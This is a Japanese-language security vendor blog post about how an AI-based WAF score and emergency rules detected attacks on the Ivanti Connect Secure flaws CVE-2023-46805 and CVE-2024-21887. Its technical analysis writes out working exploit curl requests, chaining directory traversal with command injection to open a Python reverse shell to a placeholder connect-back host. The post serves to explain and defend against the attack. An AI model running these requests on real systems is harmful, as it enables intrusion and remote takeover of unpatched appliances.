新規投稿のお知らせを受信されたい方は、サブスクリプションをご登録ください:

CloudflareのAI WAFがIvanti Connect Secureのzero-day脆弱性をプロアクティブに検出した経緯

2024-01-23

3分で読了
この投稿はEnglish繁體中文FrançaisDeutsch한국어PortuguêsEspañol简体中文でも表示されます。

ほとんどのWAFプロバイダーは、脆弱性が発見され悪用された後に対応するために、リアクティブな手法に頼っています。しかし、私たちは潜在的なリスクにプロアクティブに対処し、それを達成するためにAIが有用であることと考えています。本日は、致命的な脆弱性(CVE-2023-46805およびCVE-2024-21887)の最近の事例と、AIを活用したCloudflareのAttack Score、およびWAFの緊急ルールがこの脅威にどのように対抗したかをご紹介します。

How Cloudflare’s AI WAF proactively detected Ivanti Connect Secure critical zero-day vulnerability

脅威:CVE-2023-46805およびCVE-2024-21887

Ivanti製品に影響を及ぼす 認証バイパス(CVE-2023-46805)およびコマンドインジェクションの脆弱性(CVE-2024-21887)が最近公開され、 AttackerKB によって分析されました。この脆弱性は、影響を受けるシステムへの不正アクセスやコントロールにつながる重大なリスクをもたらします。以下のセクションでは、この脆弱性がどのように悪用されるかについて説明します。

テクニカル分析

AttackerKBで説明したように、攻撃者は以下のようなコマンドを使って、特別に細工したリクエストを標的システムに送る場合があります:

このコマンドは、通常認証で保護されているエンドポイント**(/license/keys-status/)をターゲットにします。しかし、攻撃者はURLを操作して/api/v1/totp/user-backup-code/../../license/keys-status/**を含めることで、認証をバイパスすることができます。この手法はディレクトリトラバーサルとして知られています。

curl -ik --path-as-is https://VICTIM/api/v1/totp/user-backup-code/../../license/keys-status/%3Bpython%20%2Dc%20%27import%20socket%2Csubprocess%3Bs%3Dsocket%2Esocket%28socket%2EAF%5FINET%2Csocket%2ESOCK%5FSTREAM%29%3Bs%2Econnect%28%28%22CONNECTBACKIP%22%2CCONNECTBACKPORT%29%29%3Bsubprocess%2Ecall%28%5B%22%2Fbin%2Fsh%22%2C%22%2Di%22%5D%2Cstdin%3Ds%2Efileno%28%29%2Cstdout%3Ds%2Efileno%28%29%2Cstderr%3Ds%2Efileno%28%29%29%27%3B

コマンドのURLエンコードされた部分は、Pythonのリバースシェルにデコードされ、以下のようになります:

Pythonリバースシェルは、攻撃者が標的システムを制御するための方法です。

;python -c 'import socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("CONNECTBACKIP",CONNECTBACKPORT));subprocess.call(["/bin/sh","-i"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())';

この脆弱性は、システムがnode_nameパラメータを処理する方法で存在します。攻撃者がnode_nameの値を制御できると、システムにコマンドを入力できるようになってしまいます。

「node_name」について:'node_name' パラメータは、エンドポイント /API/v1/license/keys-status/path:node_name のコンポーネントです。このエンドポイントが、主に問題が発生する場所です。

攻撃者はURIパス**/api/v1/totp/user-backup-code/../../license/keys-status/;CMD;**にGETリクエストを送ることができます。CMDは攻撃者の実行対象の任意のコマンドです。セミコロンを使うことで、リクエストでこのコマンドを指定することができます。コマンドがシステムによって正しく処理されるように、URLエンコードされている必要があります。

AttackerKBのブログ記事に詳述されているように、別のコードインジェクションの脆弱性が確認されています。今回は、システムの別の部分で見つかった認証されたコマンドインジェクションが関係しています。

最初のコマンドインジェクションで使われたのと同じPythonのリバースシェルペイロードをここで使うことができ、脆弱性をトリガーするJSON構造を形成します。ペイロードはJSONなので、URLエンコードする必要はありません:

API/v1/system/maintenance/archiving/cloud-server-test-connectionエンドポイントは認証を必要としますが、攻撃者は、先に述べたディレクトリトラバーサルの脆弱性と組み合わせることで、これを回避することができます。攻撃者は、 /api/v1/totp/user-backup-code/../../system/maintenance/archiving/cloud-server-test-connectionを利用して認証されていないURIパスを構築し、このエンドポイントに到達し、脆弱性を悪用することができます。

{
    "type": ";python -c 'import socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"CONNECTBACKIP\",CONNECTBACKPORT));subprocess.call([\"/bin/sh\",\"-i\"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())';",
    "txtGCPProject": "a",
    "txtGCPSecret": "a",
    "txtGCPPath": "a",
    "txtGCPBucket": "a"
}

認証されていないオペレーティングシステムコマンドを実行するために、攻撃者は次のようなcurlリクエストを使います:

Cloudflareによるプロアクティブな防御

curl -ik --path-as-is https://VICTIM/api/v1/totp/user-backup-code/../../system/maintenance/archiving/cloud-server-test-connection -H 'Content-Type: application/json' --data-binary $'{ \"type\": \";python -c \'import socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\\\"CONNECTBACKIP\\\",CONNECTBACKPORT));subprocess.call([\\\"/bin/sh\\\",\\\"-i\\\"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())\';\", \"txtGCPProject\":\"a\", \"txtGCPSecret\":\"a\", \"txtGCPPath\":\"a\", \"txtGCPBucket\":\"a\" }'

Cloudflare WAFは、WAF Attack Scoreと呼ばれるAIを搭載した追加レイヤーによってサポートされており、攻撃による迂回が発表される前にキャッチすることを目的として構築されています。Attack Scoreは、リクエストが悪意のあるものかどうかをスコアで示します。XSS、SQLi、そしていくつかのRCEのバリエーション(コマンドインジェクション、ApacheLog4Jなど)に対応しています。スコアの範囲は 1 から 99 で、低いほど悪意のあるリクエストです。一般的に、20以下のスコアのリクエストは悪意があるとみなされます。

Cloudflareのダッシュボード(Security> Events)を使って、上記のCVE-2023-46805とCVE-2024-21887の悪用事例の結果を見てみましょう。Attack Scoreの分析結果は3つの個別スコアで構成され、それぞれ特定の攻撃カテゴリとの関連性を示すラベルが付けられています。また、これら3つのスコアの複合的な影響を考慮したグローバルスコア(「WAF Attack Score」 )もあります。場合によっては、攻撃がカテゴリに一致する場合、グローバルスコアはサブスコアの1つに影響されます。ここでは、支配的なサブスコアがリモートコード実行「WAF RCE Attack Score」であることがわかります。

また、認証されていないオペレーティングシステムコマンドのリクエストについても、AIモデルから「WAF Attack Score: 19」を受け取りました。なお、スコア例は固定された数字ではなく、攻撃のバリエーションによって変化する可能性があります。

Screenshot from Security Events highlighting WAF Attack Score Results showing WAF attack Score of 9

ここでの朗報は、WAF Attack Score を有効にしているエンタープライズとビジネスプランのお客様は、低いスコア(例 :[cf.waf.score](https://developers.cloudflare.com/waf/about/waf-attack-score/#available-scores) le 20)または(例:[cf.waf.score.class](https://developers.cloudflare.com/ruleset-engine/rules-language/fields/#field-cf-waf-score-class) eq "attack")をブロックするルールとともに、ビジネスの場合は、脆弱性が発表される前から、これまでにテストされた潜在的な脆弱性の悪用からすでに保護されていたということです。

緊急ルールのデプロイ

この重大な脆弱性に対応するため、Cloudflareは概念実証の公開から24時間以内の2024年1月17日に緊急ルールをリリースしました。これらのルールはWAFのマネージドルールの一部であり、特にCVE-2023-46805と、同じくIvanti製品に関連する追加の脆弱性CVE-2024-21887がもたらす脅威をターゲットとしています。"Ivanti - Auth Bypass, Command Injection - CVE:CVE-2023-46805, CVE:CVE-2024-21887"と名付けられたこのルールは、これらの脆弱性を悪用しようとする試みをブロックするために開発され、Cloudflareユーザーに追加のセキュリティレイヤーを提供します。

これらのルールを導入して以来、私たちは高いレベルの活動を記録しています。本稿執筆時点で、このルールは18万回以上発動しています。

.tg {border-collapse:collapse;border-color:#ccc;border-spacing:0;} .tg td{background-color:#fff;border-color:#ccc;border-style:solid;border-width:1px;color:#333; font-family:Arial, sans-serif;font-size:14px;overflow:hidden;padding:10px 5px;word-break:normal;} .tg th{background-color:#f0f0f0;border-color:#ccc;border-style:solid;border-width:1px;color:#333; font-family:Arial, sans-serif;font-size:14px;font-weight:normal;overflow:hidden;padding:10px 5px;word-break:normal;} .tg .tg-dgl5{background-color:#FFF;font-weight:bold;text-align:left;vertical-align:top} .tg .tg-ktyi{background-color:#FFF;text-align:left;vertical-align:top} .tg .tg-0lax{text-align:left;vertical-align:top}

Rule ID Description Default Action
New Managed Rule…34ab53c5 Ivanti - Auth Bypass, Command Injection - CVE:CVE-2023-46805, CVE:CVE-2024-21887 Block
Legacy Managed Rule
100622
Ivanti - Auth Bypass, Command Injection - CVE:CVE-2023-46805, CVE:CVE-2024-21887 Block

ルールID

説明

デフォルトアクション

新しいマネージドルール…34ab53c5

Ivanti - 認証バイパス、コマンドインジェクション - CVE:CVE-2023-46805、CVE:CVE-2024-21887

ブロック

従来のマネージドルール100622

Ivanti - 認証バイパス、コマンドインジェクション - CVE:CVE-2023-46805、CVE:CVE-2024-21887

ブロック

意味合いとベストプラクティス

CloudflareのCVE-2023-46805とCVE-2024-21887への対応は、強固なセキュリティ対策を講じることの重要性を強調しています。Cloudflareサービス、特にWAFを使用している組織は、最適な保護を維持するために、システムが最新のルールと設定で更新されていることを確認することをお勧めします。また、Attack Scoreを利用したルールの導入も推奨しています。Attack Scoreの詳細については、アカウントチームまでお問い合わせください。

まとめ

CVE-2023-46805およびCVE-2024-21887への対応に代表されるように、AIを使用して攻撃を特定し、阻止するCloudflareのサイバーセキュリティに対するプロアクティブなアプローチは、脅威や攻撃が公開され、脆弱性が開示される前に、どのように特定できるかを浮き彫りにしています。Cloudflareは、脆弱性を継続的に監視し、迅速に対応することで、複雑化するデジタル環境においてクライアントの安全性を確保しています。

Cloudflareは企業ネットワーク全体を保護し、お客様がインターネット規模のアプリケーションを効率的に構築し、あらゆるWebサイトやインターネットアプリケーションを高速化し、DDoS攻撃を退けハッカーの侵入を防ぎゼロトラスト導入を推進できるようお手伝いしています。

ご使用のデバイスから1.1.1.1 にアクセスし、インターネットを高速化し安全性を高めるCloudflareの無料アプリをご利用ください。

より良いインターネットの構築支援という当社の使命について、詳しくはこちらをご覧ください。新たなキャリアの方向性を模索中の方は、当社の求人情報をご覧ください。
VulnerabilitiesWAF RulesWAFWAF Attack ScoreZero Day ThreatsAI WAF

Xでフォロー

Himanshu Anand|@anand_himanshu
Radwa Radwan|@RadwaRadwan__
Cloudflare|@cloudflare

関連ブログ投稿

2024年7月09日 12:00

RADIUS/UDP vulnerable to improved MD5 collision attack

The RADIUS protocol is commonly used to control administrative access to networking gear. Despite its importance, RADIUS hasn’t changed much in decades. We discuss an attack on RADIUS as a case study for why it’s important for legacy protocols to keep up with advancements in cryptography...